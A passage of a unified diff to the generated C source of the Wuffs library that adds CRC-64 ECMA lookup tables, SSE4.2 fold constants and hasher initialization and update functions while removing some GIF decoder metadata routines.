14416890915810522537u, 10682083699634542071u, ++ 7503655637611612521u, 3751252662574033207u, 15021960841764981205u, 10112215774463453579u, 9966225872684586644u, 15448000658827392714u, 3609014293261211176u, 7942304654960916086u, ++ 4476610425261238294u, 7065420035288041544u, 9690325514808060074u, 15733189881789008116u, 15874467260079749099u, 9250420838410950581u, 7212375292832610135u, 4051821833783301897u, ++ 688179623118076057u, 6170372224719608007u, 12814440204992854053u, 17148438651140642939u, 16997030381696051044u, 13244209591132604218u, 6033552274612791256u, 1123099122930255750u, ++ 6885631946054851046u, 262293608834169272u, 16705050609013102938u, 13544914965422553348u, 13683025758949262875u, 16271127284595091013u, 412415468322195111u, 6454862019777308409u, ++ 11927910341603441255u, 17988788832627006009u, 2148953154424896219u, 4755777988240824965u, 5180549047267992986u, 2001980365486523844u, 18428711160677000486u, 11786650616022549880u, ++ 17548901841432484632u, 12657171448130714438u, 5463103839546661796u, 1728714438829439994u, 1290082918514197733u, 5605359706950509755u, 12231113943998710873u, 17694874057198724103u, ++ 14077515103266137056u, 11488706867561743294u, 8865212338619786076u, 2822341649514070786u, 2391433177253116957u, 9015472726907116611u, 11054926469989481633u, 14215482952762858751u, ++ 10763369033251996319u, 14515766235920655041u, 3244216653174833699u, 8153963644554617469u, 8589026054036938082u, 3107253741862419772u, 14945397058901253598u, 10612099275430968704u, ++ 8023714262914015518u, 3707732413820797248u, 15493257225902875042u, 10029072425162228220u, 10174906129304731363u, 15067338284929851069u, 3850131242430201439u, 7584939832928591361u, ++ 4133108057121652833u, 7311251501606674495u, 9295800309597257949u, 15937155243838988419u, 15796038462287912860u, 9735579710801330114u, 7164140183868956448u, 4558017662132191102u, ++ }, { ++ 0u, 7026975924517234630u, 14053951849034469260u, 11713158812725061706u, 1498566550037692829u, 8453026741656872539u, 15547077823203331601u, 13134332388348864983u, ++ 2997133100075385658u, 5193532126013515004u, 16906053483313745078u, 10023477084983765872u, 4421425403924087463u, 6690338751863514465u, 18326734871926164779u, 11516110084014746349u, ++ 5994266200150771316u, 3651077923391955378u, 10387064252027030008u, 17411644826573123134u, 5180286430728521705u, 2765428220391841839u, 9578516152858789989u, 16530863678517358499u, ++ 8842850807848174926u, 1962664170658947720u, 13380677503727028930u, 15579466327313067268u, 7958959654645957843u, 1150444288916906773u, 12500388506175163231u, 14771411239789669529u, ++ 11988532400301542632u, 14401112944851970862u, 7302155846783910756u, 347530691846251682u, 12867955000885349749u, 15208934917731379891u, 8186843028093092601u, 1160054057126929727u, ++ 10360572861457043410u, 17171366937719040020u, 5530856440783683678u, 3262112454209283992u, 11170013709381963343u, 18052407625221859721u, 6344013830343901635u, 4147432248901248517u, ++ 17685701615696349852u, 10733466276663946586u, 3925328341317895440u, 6340298665266291414u, 16265807495604570881u, 9241127928571882695u, 2500178400086410381u, 4843267757373072203u, ++ 15917919309291915686u, 13646779991004769888u, 2300888577833813546u, 9109287431904666092u, 14423962049646856251u, 12225267820500938749u, 803223682168014775u, 7683504840782913649u, ++ 16025789128531904341u, 13827140552201887891u, 2120809441137969369u, 9001136188144267039u, 14604311693567821512u, 12333148557000565006u, 695061383692503364u, 7503436758785666690u, ++ 17866059964468495471u, 10841338299774886825u, 3817174930229677027u, 6160221704524114981u, 16373686056186185202u, 9421479739856314932u, 2320108114253859454u, 4735107671358188984u, ++ 10180636633891078433u, 17063072784830850791u, 5638869205660782253u, 3442330069771397483u, 11061712881567367356u, 17872478072565786490u, 6524224908418567984u, 4255451551249279222u, ++ 11880240423364919835u, 14221174549956093405u, 7482375666214882711u, 455541244296276561u, 12688027660687803270u, 15100631886079386688u, 8294864497802497034u, 1340262959281482700u, ++ 8662912472460168125u, 1854372134182743163u, 13488687978245964849u, 15759686224643400695u, 7850656682635790880u, 970516889046347238u, 12680597330532582828u, 14879432787265004138u, ++ 5885971969496909959u, 3471141773623390017u, 10567281927262422795u, 17519657531808653517u, 5000356800172820762u, 2657127470508076764u, 9686535514746144406u, 16711074697083887952u, ++ 3105005063510429129u, 5373890534425651727u, 16725976600334615109u, 9915323596096578947u, 4601777155667627092u, 6798217371950640018u, 18218574863809332184u, 11336039720248747038u, ++ 180360639130832627u, 7134845665859430709u, 13945800545768817023u, 11533079735570376377u, 1606447364336029550u, 8633376307814525096u, 15367009681565827298u, 13026170149548992292u, ++ 3321048140255203375u, 5733767250183223273u, 17086394267351834531u, 10131907641284540517u, 4241618882275938738u, 6582455852881933940u, 18002272376288534078u, 10975340495589554680u, ++ 540800415553098517u, 7351451582082282707u, 14161821513074465945u, 11892934580260027231u, 1390122767385006728u, 8272655212095272270u, 15006873517571333380u, 12810430501506267842u, ++ 9023334491325470299u, 2070960623556915613u, 13704726720259086807u, 16119558478964112913u, 7634349860459354054u, 609813203025260544u, 12320443409048229962u, 14663675712440713100u, ++ 6101997361665611105u, 3831000989484282535u, 10927717295939115757u, 17736259059608567083u, 4640216228507718908u, 2441383434118427450u, 9470215342716377968u, 16350357972595129526u, ++ 9820495924665654471u, 16847328885758262017u, 5422549171225416523u, 3081613207998608525u, 11277738411321564506u, 18232337151134792348u, 6884660139542794966u, 4472053216375158032u, ++ 11663933463862517757u, 13860471001487472699u, 7122221882022416497u, 239784031886489527u, 13048449816837135968u, 15317220237859158438u, 8510903102498558444u, 1700135351162517034u, ++ 15809464669166377651u, 13466419319190748533u, 1760673139591009599u, 8785396677427507961u, 14964751332429765422u, 12549754610540477672u, 911082488592553122u, 7863291466191287140u, ++ 17505901828360837513u, 10625576643111779919u, 3600872305391818245u, 5799522617425244611u, 16589728995604994068u, 9781356593166352338u, 2680525918562965400u, 4951691578960654430u, ++ 17325824944920336250u, 10517423154702741692u, 3708744268365486326u, 5979881026315534128u, 16481568986909349607u, 9601286230029496609u, 2860877669727689067u, 5059570199676927661u, ++ 15701313365271581760u, 13286340242614875014u, 1941033778092694476u, 8893266419348519946u, 14784683190314112477u, 12441592372201976347u, 1018963302412737105u, 8043641032810315159u, ++ 11771943938993819918u, 14040690898222216904u, 6942283547246780034u, 131491994814691652u, 13228658641689481363u, 15425241784889898837u, 8402600130983321375u, 1520207950847359193u, ++ 10000713600345641524u, 16955341590498866674u, 5314254941016153528u, 2901677057735113342u, 11385757773804508073u, 18412548169088955503u, 6704730509582687269u, 4363752465879022563u, ++ 6210010127020858258u, 4011218604585024596u, 10747781068851303454u, 17627964906259002328u, 4820427307211528719u, 2549402735887646153u, 9361914515530929539u, 16170428419360240197u, ++ 9203554311335254184u, 2178971175377796974u, 13596434743901280036u, 15939620083439087842u, 7742371330630129973u, 790022104701665011u, 12140516069312059065u, 14555372680310567295u, ++ 360721278261665254u, 7243300338934250016u, 14269691331718861418u, 12073295142069515692u, 1281960468464901243u, 8092587130592951229u, 15187223161047700471u, 12918311238500824113u, ++ 3212894728672059100u, 5553690289885640986u, 17266752615629050192u, 10239779664840078998u, 4061548595831021377u, 6474295767462639751u, 18110150936257777869u, 11155692307469580043u, ++ }, { ++ 0u, 2517245393515406572u, 5034490787030813144u, 7435750759411199284u, 10068981574061626288u, 12201157653998401372u, 14871501518822398568u, 17045318164640841348u, ++ 9628913577918544357u, 12056075433989135625u, 13870769438669140029u, 16326061061730899153u, 1016952077871524437u, 3239211695253081785u, 5459183210385793933u, 7578968205522831201u, ++ 11067918171351838031u, 13508029996328618403u, 15872723984458359959u, 18349972777811820667u, 1307470557354262271u, 3515654148887976467u, 6339673239971903271u, 8436375012170683339u, ++ 2033904155743048874u, 4528066323082129478u, 6478423390506163570u, 8865607338129291678u, 10918366420771587866u, 13072499669943034870u, 15157936411045662402u, 17344703028974807598u, ++ 11667391723826758683u, 9441211325989495031u, 16444045520167767491u, 14329311757255665967u, 3050858413050517419u, 628778578755597127u, 8036894684654706291u, 5577642697640442527u, ++ 2614941114708524542u, 478839856218937618u, 7031308297775952934u, 4862538486186004682u, 12679346479943806542u, 10167187506301176482u, 16872750024341366678u, 14467534086004917114u, ++ 4067808311486097748u, 1917635425212288440u, 9056132646164258956u, 6864284009665987680u, 12956846781012327140u, 10457633378212404744u, 17731214676258583356u, 15347951510183778256u, ++ 13678285260964991153u, 11474057634298917981u, 17873974704293108073u, 15772186515461651845u, 3922409453435093761u, 1477250791027468269u, 8336488571297909465u, 5863164957556321845u, ++ 15063804914172139187u, 17573731408537121375u, 10724047561790938987u, 13131499433903012743u, 6535100908406441219u, 8673469987586793967u, 2265113888856263899u, 4431612735036172343u, ++ 6101716826101034838u, 8521560882533092282u, 1257557157511194254u, 3719041779816530530u, 16073789369309412582u, 18302240886422657034u, 11155285395280885054u, 13267751491267498450u, ++ 5229882229417049084u, 7672809353916620560u, 957679712437875236u, 3433240205686757064u, 14062616595551905868u, 16269110787469675680u, 9725076972372009364u, 11824592944582215032u, ++ 14786588404820918809u, 17283564772171425525u, 9865866699426761665u, 12251361247433944877u, 5082513026899726761u, 7234957975966594373u, 240568853608110193u, 2430150771060047005u, ++ 8135616622972195496u, 5911125624750880324u, 3835270850424576880u, 1717722887501053852u, 18112265292328517912u, 15687370158510810612u, 13728568019331975360u, 11271004332422294572u, ++ 17674167644946721613u, 15539754686561718177u, 12725302718847165077u, 10553717607734429305u, 9150035367232403709u, 6635062193578351633u, 4261933579054297381u, 1858407040333796809u, ++ 16825062113507622887u, 14668696227990231819u, 12439147139764057663u, 10254616302904316627u, 7116415003206659159u, 4624520499557157051u, 2818284765131990415u, 428829699325493603u, ++ 7844818906870187522u, 5634399380472423150u, 2954501582054936538u, 860032292373900086u, 16672977142595818930u, 14235136279826723166u, 11726329915112643690u, 9246813302127474822u, ++ 3513487962258617315u, 1309817375275636495u, 8438743075148003899u, 6337546835477044951u, 13510341259434958931u, 11065716548023207103u, 18347741267953084811u, 15874986514718330215u, ++ 13070201816812882438u, 10920562880461237994u, 17346939975173587934u, 15155660198108440370u, 4530227777712527798u, 2031571415669472602u, 8863225470072344686u, 6480554254231811202u, ++ 12203433652202069676u, 10066744842596399680u, 17043121765066184564u, 14873799311837557656u, 2515114315022388508u, 2382082824317424u, 7438083559633061060u, 5032329272252129320u, ++ 3241337884980569929u, 1014584229661574053u, 7576621447749742225u, 5461349336866867837u, 12053812688995611897u, 9631145302510833685u, 16328262745174523169u, 13868458115447806413u, ++ 10459764458834098168u, 12954464700354433812u, 15345618707833241120u, 17733376188870843084u, 1915359424875750472u, 4070045040789094564u, 6866480411373514128u, 9053834855311329660u, ++ 1479513538183220765u, 3920177730975673073u, 5860963271950469061u, 8338799892386374441u, 11471931442405006765u, 13680653107046267201u, 15774533275401163893u, 17871808579940708505u, ++ 626467317811485367u, 3053060038512016987u, 5579874205336949615u, 8034632152261867395u, 9443377510452431111u, 11665044903776710123u, 14326943696444768479u, 16446171926791300147u, ++ 10165026053799453522u, 12681679222183806910u, 14469915951933188746u, 16870619158449294950u, 481137707216220386u, 2612744652856644622u, 4860301542120094010u, 7033584512875404758u, ++ 16271233245944390992u, 14060243759811248572u, 11822251249501760648u, 9727246909562751076u, 7670541700849153760u, 5232109988680716812u, 3435445775002107704u, 955373222128557012u, ++ 7237229143405862069u, 5080272407415421017u, 2427958334666397037u, 242871556844564865u, 17281429885116092165u, 14788965422804986857u, 12253699033039161053u, 9863708918048465457u, ++ 8671167069616523295u, 6537293559533907187u, 4433853414635209159u, 2262842661302265131u, 17575888975148309423u, 15061467343334031171u, 13129122476067492471u, 10726182388697724571u, ++ 18300070734464807418u, 16076131279156974870u, 13270124387156703266u, 11153162876657622222u, 8523867158108594762u, 6099511471519499942u, 3716814080667593618u, 1259824750463930238u, ++ 4622362935074513227u, 7118752576211060135u, 431206655032469651u, 2816149936058911871u, 14670999143827763963u, 16822869460218058263u, 10252375625438018339u, 12441418369480155087u, ++ 14232830006413318318u, 16675182499310091330u, 9249040999114314102u, 11724062320027170202u, 5636569530263980830u, 7842476994894082034u, 857659398650987206u, 2956624102806742570u, ++ 15689637813740375044u, 18110037535197587688u, 11268798760944846300u, 13730874507508556080u, 5909003164109873076u, 8137989456584309592u, 1720064584747800172u, 3833100915362378368u, ++ 6637197082762229217u, 9147658351414628621u, 1856069252600036409u, 4264091358266300629u, 15537483516989711953u, 17676408262268928701u, 10555910046260817801u, 12723000017772809061u, ++ }, { ++ 0u, 15762200328042667840u, 2856835172924432389u, 18238190752146915141u, 5713670345848864778u, 10805715811487326026u, 7561135427655163919u, 12848797446532677455u, ++ 11427340691697729556u, 4911321075843194708u, 13345174655120580625u, 7173389830452510545u, 15122270855310327838u, 820654137405644638u, 17760118084036943899u, 3226275954771115867u, ++ 12678913378224905901u, 8451595299172663789u, 9822642151686389416u, 5976168202979041768u, 16194808345499688615u, 4179641502022828519u, 14346779660905021090u, 2135996745225445858u, ++ 3558579666237890233u, 16995468946051088889u, 1641308274811289276u, 14733962144962732540u, 9090961916423626419u, 11859948271085519347u, 6452551909542231734u, 9453764156601606646u, ++ 14785799433083167711u, 1697614691135618207u, 16903190598345327578u, 3470771065211313306u, 9402037001392841685u, 6396285171454065813u, 11952336405958083536u, 9178809987380452496u, ++ 6027971268800324555u, 9878982515431963787u, 8359283004045657038u, 12591138999497481358u, 2084233168694272961u, 14290549069261356161u, 4271993490450891716u, 16282692837778922628u, ++ 7117159332475780466u, 13293411258189767218u, 4999205320339463543u, 11519692655715205687u, 3282616549622578552u, 17811921192019632696u, 732879648334208381u, 15029958398333780541u, ++ 18181923832847252838u, 2805107922438644262u, 15850048426093911395u, 92388385340408355u, 12905103819084463468u, 7612972483059622444u, 10717907374994120041u, 5621392111171994153u, ++ 629311348378851643u, 15133597752622646907u, 3395229382271236414u, 17699378041462564478u, 5183867188229904689u, 11335100742646646385u, 6941542130422626612u, 13469099241846138484u, ++ 10821536956051937583u, 5517832210058282607u, 12792570342908131626u, 7725577015716947562u, 15665448522205731109u, 277059068684322405u, 18357619974760904992u, 2629481737494357600u, ++ 12055942537600649110u, 9075274912216783062u, 9289461107078326163u, 6508930745710590163u, 16718566008091314076u, 3655465612432595164u, 14961454118931310489u, 1522030784741112025u, ++ 4168466337388545922u, 16386289672930760898u, 2196870928291817351u, 14177982363995224263u, 8543986980901783432u, 12406505804242475208u, 5852377756745475981u, 10054645982306597069u, ++ 14234318664951560932u, 2248669261341992356u, 16298510681658284769u, 4076149859246245281u, 9998410640678927086u, 5800610134637962670u, 12494386096293518059u, 8636334373997692331u, ++ 6565233099245157104u, 9341293662428177840u, 8987461698644630261u, 11963660006880118197u, 1465759296668416762u, 14909722918146729402u, 3743309483160705791u, 16810949547632248255u, ++ 7673845564465570889u, 12736298827739970313u, 5610215844877288524u, 10909381007990496012u, 2681314179816367171u, 18413922163761052419u, 184776770680816710u, 15577635352405072646u, ++ 17647610443766686813u, 3338994288425483037u, 15225944966119244888u, 717191546761911064u, 13520897736746902615u, 6997878541721926423u, 11242784222343988306u, 5096087965850491666u, ++ 1258622696757703286u, 14684288965200833846u, 3950222953022231155u, 17036158029906267443u, 6790458764542472828u, 9548224856613104956u, 8762045755503235705u, 11756540858562383161u, ++ 10367734376459809378u, 6151638724996853026u, 12124837022850257511u, 8285082520580115751u, 13883084260845253224u, 1879138195689975080u, 16649556998353834605u, 4445490780332133677u, ++ 13727827248377474267u, 7223104792207356827u, 11035664420116565214u, 4870673773980832670u, 17422178244240010449u, 3131857036752565137u, 15451154031433895124u, 924103331921597332u, ++ 2311784730144877775u, 18062687245331231631u, 554118137368644810u, 15928680121837474698u, 8024872609708797125u, 13105623011270275973u, 5258963474988715200u, 10539833548380279680u, ++ 15872427342139003305u, 502333042764009193u, 18150549824433566124u, 2404114375865757420u, 10596187595637903779u, 5310779519913856739u, 13017861491421180326u, 7932573568563556070u, ++ 4814384572959953341u, 10983915471956430589u, 7310931224865190328u, 13820193315420761848u, 980423156880069047u, 15503004023780282103u, 3044061569482224050u, 17329913425393921778u, ++ 8336932674777091844u, 12181156958151692356u, 6059373863990406913u, 10279938678082531393u, 4393741856583634702u, 16593268045114871886u, 1971504083133951755u, 13970910599835103307u, ++ 17087973961803566864u, 4006576835745435728u, 14591990156772618005u, 1170861220680101973u, 11704755513490951962u, 8705792948709298266u, 9640554597612056351u, 6878321524855255135u, ++ 1858937689852799821u, 14083548048513152013u, 4497338522683984712u, 16489741062169236488u, 6235036951360285511u, 10104345546597921799u, 8152299718492490562u, 12365860697102636034u, ++ 9753200483853429593u, 6765745319621112857u, 11601220269275925340u, 8809399250468705308u, 14416405870873226067u, 1346516287098352659u, 17272668747995384662u, 3821952007586370582u, ++ 13130466198490314208u, 7820039919040899744u, 10492627387899532773u, 5414409408661555877u, 17974923397289260522u, 2579810761044912810u, 16057098401758057967u, 317732763665910447u, ++ 2931518593336833524u, 17442526084696124084u, 1084062204544407025u, 15399436031514938033u, 7486618966321411582u, 13644576356632980158u, 4629793036166665723u, 11168576964637084347u, ++ 15347691128931141778u, 1027777753507534802u, 17534896747071563927u, 3019349226222860247u, 11220431689754577048u, 4686116923914377176u, 13552315720802183325u, 7398828111596124125u, ++ 5362628359632734342u, 10436379358185592774u, 7912374160093407363u, 13218332977821366211u, 369553541361633420u, 16113456511805446092u, 2487515902914439305u, 17887166489985742793u, ++ 8865757316743550527u, 11653040814255671679u, 6677988576850966074u, 9660905738751846778u, 3765703796660934197u, 17220887603689539957u, 1434383093523822128u, 14508740362393577840u, ++ 16546065181022836267u, 4549193289962883435u, 13995757083443852846u, 1766676892172462446u, 12309576339732698657u, 8100554995509053793u, 10192175931700983332u, 6327407589325138276u, ++ }, ++}; + +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } +- return status; +-} ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_FOLD1[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 228u, 58u, 57u, 202u, 151u, 212u, 93u, 224u, ++ 64u, 95u, 135u, 199u, 175u, 149u, 190u, 218u, ++}; + +-// -------- func gif.decoder.do_tell_me_more ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_FOLD2[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 68u, 250u, 158u, 138u, 0u, 91u, 9u, 96u, ++ 81u, 175u, 225u, 15u, 163u, 83u, 230u, 59u, ++}; ++ ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_FOLD4[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 243u, 65u, 212u, 157u, 187u, 239u, 227u, 106u, ++ 244u, 45u, 132u, 167u, 84u, 96u, 31u, 8u, ++}; ++ ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_FOLD8[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 0u, 16u, 204u, 79u, 29u, 215u, 87u, 135u, ++ 64u, 231u, 61u, 247u, 42u, 107u, 216u, 215u, ++}; ++ ++static const uint8_t ++WUFFS_CRC64__ECMA_X86_SSE42_MUPX[16] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 213u, 99u, 41u, 23u, 108u, 70u, 62u, 156u, ++ 133u, 30u, 14u, 175u, 43u, 175u, 216u, 146u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_gif__decoder__do_tell_me_more( +- wuffs_gif__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__more_information* a_minfo, +- wuffs_base__io_buffer* a_src) { +- wuffs_base__status status = wuffs_base__make_status(NULL); ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); + +- uint64_t v_chunk_length = 0; ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up__choosy_default( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); + +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; +- } ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__up_x86_sse42( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x); ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) + +- uint32_t coro_susp_point = self->private_impl.p_do_tell_me_more[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++// ---------------- VTables + +- if ((self->private_impl.f_call_sequence & 16u) == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); +- goto exit; +- } +- if (self->private_impl.f_metadata_fourcc == 0u) { +- status = wuffs_base__make_status(wuffs_base__error__no_more_information); +- goto exit; +- } +- while (true) { +- while (true) { +- if (wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))) != self->private_impl.f_metadata_io_position) { +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 2u, +- 0u, +- self->private_impl.f_metadata_io_position, +- 0u, +- 0u); +- } +- status = wuffs_base__make_status(wuffs_base__suspension__mispositioned_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); +- continue; +- } +- if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 0u, +- 0u, +- 0u, +- 0u, +- 0u); +- } +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- continue; +- } +- break; +- } +- v_chunk_length = ((uint64_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))); +- if (v_chunk_length <= 0u) { +- iop_a_src += 1u; +- break; +- } +- if (self->private_impl.f_metadata_fourcc == 1481461792u) { +- v_chunk_length += 1u; +- } else { +- iop_a_src += 1u; +- } +- self->private_impl.f_metadata_io_position = wuffs_base__u64__sat_add(wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), v_chunk_length); +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 3u, +- self->private_impl.f_metadata_fourcc, +- 0u, +- wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))), +- self->private_impl.f_metadata_io_position); +- } +- status = wuffs_base__make_status(wuffs_base__suspension__even_more_information); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); ++const wuffs_base__hasher_u64__func_ptrs ++wuffs_crc64__ecma_hasher__func_ptrs_for__wuffs_base__hasher_u64 = { ++ (uint64_t(*)(const void*))(&wuffs_crc64__ecma_hasher__checksum_u64), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_crc64__ecma_hasher__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_crc64__ecma_hasher__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_crc64__ecma_hasher__update), ++ (uint64_t(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_crc64__ecma_hasher__update_u64), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_crc64__ecma_hasher__initialize( ++ wuffs_crc64__ecma_hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); + } +- if (a_minfo != NULL) { +- wuffs_base__more_information__set(a_minfo, +- 3u, +- self->private_impl.f_metadata_fourcc, +- 0u, +- self->private_impl.f_metadata_io_position, +- self->private_impl.f_metadata_io_position); ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; ++ } else { ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- self->private_impl.f_call_sequence &= 239u; +- self->private_impl.f_metadata_fourcc = 0u; +- self->private_impl.f_metadata_io_position = 0u; +- status = wuffs_base__make_status(NULL); +- goto ok; +- +- ok: +- self->private_impl.p_do_tell_me_more[0] = 0; +- goto exit; + } + +- goto suspend; +- suspend: +- self->private_impl.p_do_tell_me_more[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.choosy_up = &wuffs_crc64__ecma_hasher__up__choosy_default; + +- goto exit; +- exit: +- if (a_src && a_src->data.ptr) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__hasher_u64.vtable_name = ++ wuffs_base__hasher_u64__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_u64.function_pointers = ++ (const void*)(&wuffs_crc64__ecma_hasher__func_ptrs_for__wuffs_base__hasher_u64); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_crc64__ecma_hasher* ++wuffs_crc64__ecma_hasher__alloc(void) { ++ wuffs_crc64__ecma_hasher* x = ++ (wuffs_crc64__ecma_hasher*)(calloc(1, sizeof(wuffs_crc64__ecma_hasher))); ++ if (!x) { ++ return NULL; + } ++ if (wuffs_crc64__ecma_hasher__initialize( ++ x, sizeof(wuffs_crc64__ecma_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} + +- return status; ++size_t ++sizeof__wuffs_crc64__ecma_hasher(void) { ++ return sizeof(wuffs_crc64__ecma_hasher); + } + +-// -------- func gif.decoder.num_animation_loops ++// ---------------- Function Implementations ++ ++// -------- func crc64.ecma_hasher.get_quirk + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint32_t +-wuffs_gif__decoder__num_animation_loops( +- const wuffs_gif__decoder* self) { ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_crc64__ecma_hasher__get_quirk( ++ const wuffs_crc64__ecma_hasher* self, ++ uint32_t a_key) { + if (!self) { + return 0; + } +@@ -37136,38 +37965,134 @@ wuffs_gif__decoder__num_animation_loops( + return 0; + } + +- if (self->private_impl.f_seen_num_animation_loops_value) { +- return self->private_impl.f_num_animation_loops_value; +- } +- if (self->private_impl.f_num_decoded_frame_configs_value > 1u) { +- return 1u; +- } + return 0u; + } + +-// -------- func gif.decoder.num_decoded_frame_configs ++// -------- func crc64.ecma_hasher.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_crc64__ecma_hasher__set_quirk( ++ wuffs_crc64__ecma_hasher* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func crc64.ecma_hasher.update ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_crc64__ecma_hasher__update( ++ wuffs_crc64__ecma_hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } ++ ++ if (self->private_impl.f_state == 0u) { ++ self->private_impl.choosy_up = ( ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++ wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_crc64__ecma_hasher__up_x86_sse42 : ++#endif ++ self->private_impl.choosy_up); ++ } ++ wuffs_crc64__ecma_hasher__up(self, a_x); ++ return wuffs_base__make_empty_struct(); ++} ++ ++// -------- func 